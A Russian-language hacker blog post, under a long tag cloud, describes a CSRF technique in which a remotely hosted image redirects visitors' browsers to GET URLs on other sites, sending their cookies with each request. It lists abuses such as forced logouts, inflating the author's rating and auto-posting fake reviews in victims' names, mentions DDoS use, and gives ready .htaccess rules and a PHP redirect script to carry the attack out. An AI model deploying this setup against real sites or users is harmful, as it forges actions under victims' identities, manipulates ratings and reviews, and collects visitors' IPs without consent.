8 ball Annyhilator C++ Java MaZaHaKa MTV php Sape Uratsakidogi Аватары Актеры Библиотека Хакера Бумбокс Взлом Владимир Толоконников Вселенная Гена Рыжов Генератор ответов Ильяс Гаптрахманов Как правильно искать в Google Как сделать активную кнопку самому Картинки Кино Киса Кнопка на рабочий стол как в фильме "Хоттабыч" Кнопка на рабочий стол как в фильме "Хоттабыч Кнопка слива Кнопки на робочем столе Код Конкурс от хоттабыча Курсоры Курсоры для сайта Лива Круминя Линукс Ляпис Трубецкой Магический шар Марк Гейхман Марюс Ямпольскис Мастдай Мила Липнер Мир Многоточие Награды Никита Хлебанцов Ольга Дегтярёва Петр Точилин Прикольные курсоры Проги Программы Гены Рабочий стол Гены Рассказ Режиссер фильма Реплики Саундтрек Скринмейты Скрипт Скрипт php Скрипты Статьи хацкеров Сценарий фильма Хоттабыч Тиц Три желания Хоттабыча Файловая структура в массив Файловый путь в многомерный массив Фантастика Фильм Хоттабыч Фразы функция возведения в степень Футболки Хоттабыч Хоттабыча на сайт Чат бот Киса Чат боты Шайтаныч шар судьбы Шелл Катя шифрование Шкала размеров Энни Юзербары Юлия Паранова Яндекс

Староновая уязвимость запроса произвольной страницы браузером через картинку

29 ноября 2017

Всем добрый день!

Благодаря данной уязвимости можно посылать GET запросы на любые сайты от имени пользователя с его Куками и правами на сайте

Предистория

Вчера я разместил на одном сайте картинку со своего сайта, а потом подумал, хм... а почему бы мне не поменять текст в картинке в зависимости от времени суток. Не долго думая, я переделал картинку в динамически генерируемую картинку на PHP и успешно подменял надпись на нужную мне. Плюс ко всему, я получил еще несколько полезных данных о пользователе, его IP и реферер страницы с которой картинка была запрошена. Потом я вспомнил про статью , которую когда то читал Xss без Xss. В ней рассказывалась старая уязвимость запроса браузером произвольной страницы от имени пользователя через картинку с контролируемого сайта, которая добавляется на страницу сайта который позволяет добавлять картинки с удаленных ресурсов или в BBCode [img]. Соответственно тогда были уязвимы все форумы, гостевые и прочие сайты, очень советую ту статью к прочтению. Эту уязвимость судя по самой теме и комментам скорее всего закрыли, подумал я, но....

Я попробовал сделать редирект в картинке и уязвимость сработала! Браузер успешно запросил страницу абсолютно другого домена и получил ее контент! Протестировал тоже самое через HTTPS, все так же работает. Я начал разбираться как так произошло, ведь вроде уязвимость была закрыта как я понял из того поста и, посмотрев отладчик браузера я сначала понял что виною подгрузка контента страницы в javascript Ajax запросе, позже попробовал сделать статичную страницу и проверить пройдет ли! Прошло, меня снова выкинуло из админки моего сайта. Т.е получается что редирект успешно срабатывает при любых обстоятельствах.

Так я и не понял, изобрел ли я колесо, описанное много лет назад в той статье и это баянище, либо уязвимость снова открылась , если ее все же закрывали.

Судя по статусу статьи (Тема закрыта для ответов) и по комментариям:

Какинтош:08/09/2008 - эта дыра еще актуальна?

Thanat0z:08/09/2008 - На форуме запрещена некрофилия...

Я подумал что уязвимость закрыта, соответственно когда читал первый раз не стал проверять. В этом была моя ошибка: надо всегда проверять все баги, пускай даже закрытые. Ведь все меняется, старое закрытое иногда может снова заработать из-за каких то нововведений...

Благодаря данной уязвимости можно посылать GET запросы на любые сайты от имени пользователя с его Куками и правами на сайте. Области применения такой уязвимоти очень широкий, начиная от простого баловства с убиваем сессий у пользователя на чужих сайтах, до ддос атак на сайты, более подробно описано в старой статье.

Конечно античат знал, об этом и ввел токен на подтверждения дейcтвия, без передачи которого не получится выполнить выход из профиля, иначе вы бы смогли сейчас ощутить действие данной уязвимости на себе))

Что касается того сайта для которого я изначально делал динамическую картинку, то на нем я нашел несколько таких GET уязвимостей:

1. Разлогинивание на сайте http://site.ru/logout/

2. Накрутка рейтинга моего аккаунта http://site.ru/account/set_rate/?rate=5

3. Автоматический постинг отзыва от имени того пользователя, который открыл страницу с картинкой http://site.ru/account/?add_review=1&text=Отличный разраб!


Скрипты для создания такой картинки на вашем хостинге:

1 Необходимо перенаправить все запрашиваемые картинки в директории сайта на какой нибудь файл, у меня к коде это будет файл image.php

Для этого надо создать файл в директории .htaccess с таким содержимым, если у вас сервер работает под апачем, для nginx по другому настраивается:

DirectoryIndex index.php
Options -Indexes
# Comment the following line, if option Multiviews not allowed here
Options -MultiViews
Header set Access-Control-Allow-Origin *
AddDefaultCharset utf-8
<ifModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{REQUEST_URI} \.(js|css|jpg|jpeg|gif|png)$
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule ^(.*)$ image.php [L,QSA]
</ifModule>

Файл может отличаться, главное для подмены картинок находится внутри <ifModule mod_rewrite.c>......</ifModule>

2. Необходимо в той же папке создать файл image.php с таким кодом:

<?php
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); /* Отключаем кеширование */
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' ); /* Отключаем кеширование */
header( 'Cache-Control: no-store, no-cache, must-revalidate' ); /* Отключаем кеширование */
header( 'Cache-Control: post-check=0, pre-check=0', false ); /* Отключаем кеширование */
header( 'Pragma: no-cache' ); /* Отключаем кеширование */
/*  А вот сам редирект */
header("Location: http://site.ru/page/");
/* 
    Также можно добавить GET параметр к картинке куда переходить
    тогда можно будет передавать в ссылке на картинку ссылку для самомго редиректа,
    но такой подход не рекоммендуется
 */
if(array_key_exists('url',$_GET) && !empty($_SERVER['HTTP_REFERER'])) {
    $URI = parse_url($_SERVER['HTTP_REFERER']);
    header("Location: ".htmlspecialchars($_GET['url'])."");
} else {
    header("Location: http://site.ru/page/");
}
exit;
?>